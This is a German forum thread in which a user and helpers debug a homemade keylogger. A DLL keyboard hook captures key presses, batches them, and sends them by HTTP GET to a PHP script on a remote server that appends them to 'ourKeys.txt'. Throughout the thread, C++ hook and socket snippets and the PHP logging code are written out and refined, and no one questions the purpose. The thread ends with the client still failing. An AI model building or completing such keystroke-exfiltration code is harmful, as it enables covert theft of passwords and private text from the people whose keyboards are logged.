Daten an Server schicken(String)
-
Man kann z.B. keine Leerzeichen im Klartext senden. Du musst also Leerzeichen und andere Sonderzeichen entsprechend kodieren.
http://de.wikipedia.org/wiki/URL-Encoding
Alternativ kannst du auch versuchen von GET auf POST umzusteigen.
http://de.wikipedia.org/wiki/Hypertext_Transfer_Protocol#HTTP_POST
-
Hmm sehr interessant die Links,vielen Dank. Werde ich später sicher noch brauchen, wenns so bisschen an die Feinheiten geht. Momentan bleibt leider die Datei komplett leer Ich tippe auch nur A-Z a-z 0-9 ein, überprüfe sobald es abgesendet wird mit einer MessageBox meine Eingaben und sehe, dass alles richtig ist. Leider bleibt die ourKeys.txt Datei trotzdem leer (Ich schaue mit FileZilla immer nach).
-
function LogMe($what) { if (!($file = fopen('ourKeys.txt', 'a')) { die("fopen()"); } echo "Writing " . $what . "\n"; if (!fwrite($file, $what)) { die("fwrite"); } fclose($file); }
Mach doch mal ein paar Debugausgaben rein...
-
Sorry .
Gibt mir jetzte eine komische Syntax-erorrmessage.
Er meint ein unexpected '{' in line 6 zu finden<?php $abcde = $_GET['lol']; function LogMe($what) { if (!($file = fopen('ourKeys.txt', 'a')) { die("fopen()"); } echo "Writing " . $what . "\n"; if (!fwrite($file, $what)) { die("fwrite"); } fclose($file); } LogMe("$abcde"); ?>
Da stimmt doch alles, jede einzelne '{' ist berechtigt und sitzt an der richtigen Stelle.
-
if (!($file = fopen('ourKeys.txt', 'a'))
muss zu
if ( !($file = fopen('ourKeys.txt', 'a')) )
werden.
-
Oh man---wie dumm ich einfach bin.
Also Ausgabe der Datei ist "writing fwrite". Bedeutet also, dass er bei fwrite nicht weiterkommt, bzw. das fehlschlägt. Die Datei hat aber Schreibrechte, da bin ich ganz sicher.
-
So, dann probier mal das:
function LogMe($what) { if (!($file = fopen('ourKeys.txt', 'a'))) { die("fopen()"); } if (is_writable($filename)) { die("is_writable()"); } echo "Writing '" . $what . "'\n"; if (!fwrite($file, $what)) { die("fwrite()"); } echo "Success.\n"; fclose($file); }
-
Ausgabe : "Writing '' fwrite()".
Beudetet wohl, dass die File nicht schreibbar ist ?
Außerdem -writing ->' '<- - , dass abcde leer ist, o.0
-
Oh, ich habe das ! bei is_writeable vergessen. Da die Meldung nicht kam ist die Datei wohl nicht beschreibbar.
Du musst nochmal nachgucken, ob du die Rechte alle gesetzt hast und das ggf. wiederholen. Für Script und Datei.
Warum $what leer ist, weiß ich auch noch nicht.
-
Also die .txt hat
Besitzer-Rechte : Lesen + Schreiben ( nicht Ausführen)
Gruppen-Rechte : Lesen(nicht Schreiben,nicht Ausführen)
Öffentliche Rechte : Lesen(nicht Schreiben,nicht Ausführen)Der Versuch, der .txt ALLE Rechte zu geben, sowohl public,besitzer als auch gruppen wird restricted bzw. "permitted".
-
Was aber auch fehlt ist $filename da musst du natürlich "ourKeys.txt" hinschreiben.
-
function LogMe($what) { print_r($_GET); // $_GET ausgeben echo "\n\n"; $filename = 'ourKeys.txt'; if (!($file = fopen($filename, 'a'))) { die("fopen()"); } if (!is_writable($filename)) { die("is_writable()"); } echo "Writing '" . $what . "'\n"; if (!fwrite($file, $what)) { die("fwrite()"); } echo "Success.\n"; fclose($file); }
So.
-
Oke,
Ausgabe : "Array ( ) Writing '' fwrite()"Writeable ist die Datei wohl. Dann muss es daran liegen, dass 'lol' und damit abcde leer ist. Villeicht kommt daher auch der writing error.
Nochmal mein Send-Aufruf
sprintf(buf,"GET /logKeys.php?lol=%s HTTP/1.1\r\nHost: www.myserver.comuv.com\r\n\r\n\0",myKeys); send(s,buf,sizeof(buf),0);
Ich habe myKeys überprüft, stimmt alles. 1:1 meine Eingabe.
Ich habe buf überprüft, stimmt auch alles. Ist der string mit genau dem Inhalt von myKeys statt "%s".Daraus werde ich nicht schlau
-
Schreib mal
LogMe($_GET['lol']);
Wie füllst du myKeys? Stelle sicher, dass es keine Leerzeichen enthält. Beispielsweise einfach test.
-
Übrigens fügt sprintf automatisch ein \0 an. Das ist also dort überflüssig. Und bei send solltest du strlen und nicht sizeof verwenden. Ansonsten schickst du bei einem großem Buffer mehr als notwendig. Eventuell verursacht auch das dann Probleme.
-
Okay, ich erkläre mal, wie myKeys gefült wird :
Das ganze ist ein KeyboardHook. Der ist in einer -dll initialisiert.
Sobald ich eine Taste drücke ( nur drücke, hab das 31. bit von lParam überprüft, also reagiert er nur wenn man drückt, nicht loslässt) schickt er eine Nachricht vom Typ WM_USER+124(frei erfundener Wert) and meine Hauptapllikation.
Dort wandle ich den virtuellen Keycode der in wParam steht mit der entsprechenden Funktion um und speichere es in eine char-variable:char c = MapVirtualKeyEx(wParam,2,layout);
(Layout ist hier das Tastaturlayout,das ich verwende, 2 is ein Flag, soll also VirtualKEycode->ASCII)
Dann setze ichmyKeys[counter] = c;
und setze den counter(int-Variable) um eins hoch. Sobald counter>=5 ist, speichere ich buf entsprechend. Dann schicke ich das ganze an den Server.
if(counter >= 5) { sprintf(buf,"GET /logKeys.php?lol=%s HTTP/1.1\r\nHost: www.myserver.comuv.com\r\n\r\n",myKeys); send(s,buf,strlen(buf),0);
's' ist mein Socket, der erfolgreich mit dem Server verbunden ist.
Dann setze ich mit einer for-schleife myKeys ( global) wieder = 0, buf =0 ( die forschleifen laufen bis zähler<strlen(myKeys/buf) ). Dann auch counter =0 .
Du hattest auch Recht mit dem sizeof und strlen, buf ist um einiges größer als der in ihm gespeicherte String. Wäre ein sehr plausibler Grund dafür gewesen, dass es nicht geht. Habe es geändert aber bekomme leider immernoch als Ausgabe : Array ( ) Writing '' fwrite().
-
Terminierst du myKey auch mit
\0
bevor du es verwendest?Ansonsten mach doch zu Testzwecken mal:
sprintf(buf,"GET /logKeys.php?lol=%s HTTP/1.1\r\nHost: www.myserver.comuv.com\r\n\r\n", /* --> */ "Test" /* <-- */);
Das die Anfrage an den Server überhaupt gesendet wird, ist aber gesichert? Vielleicht wird der Code ja gar nicht ausgeführt?
-
Ja, der Code wird geschickt. Ich kriege eine Antwort vom Server irgendwie " File temorarly moved etc.". Wenn du willst poste ich mal den ganzen Text.
Interessant ist : Ich habe das ganze gerade per Browser aufgeufen.
Also : www.server.com/logKeys.php?lol=HalloAusgabe der php : Array ( [lol] => Hallo ) Writing 'Hallo' Success.
TROTZDEM ist die Datei LEER. Paraodx o.0
Mit "test" als String : Array ( ) Writing '' fwrite() gleiche Ausgabe.Scheint dem Server total egal zu sein was ich ihm schicke.
Finds auch bisschen komisch, dass :
Angenommen ich lösche den Code in der .php Datei. Dann steht uner myserver.comuv.com/logKeys.php nichts.
Füge ich den Code wieder ein und speichere, aber führe mein Programm nicht aus, steht trotzdem schon "Array ( ) Writing '' fwrite()" drinnen.
Villeicht ist das aber auch normal.
-
Jetzt steht der Text auf einmal schon in der Datei, also der den ich bim Aufruf mit Browser geschrieben habe.
Vllt. hat das Ding einfach nen heftigen Delay.
Mit .cpp läufts aber immernoch nicht.
-
Ich kann dir leider nicht mehr wirklich helfen. Der Fehler lässt sich nicht mehr so wirklich aus dem Code usw. ableiten.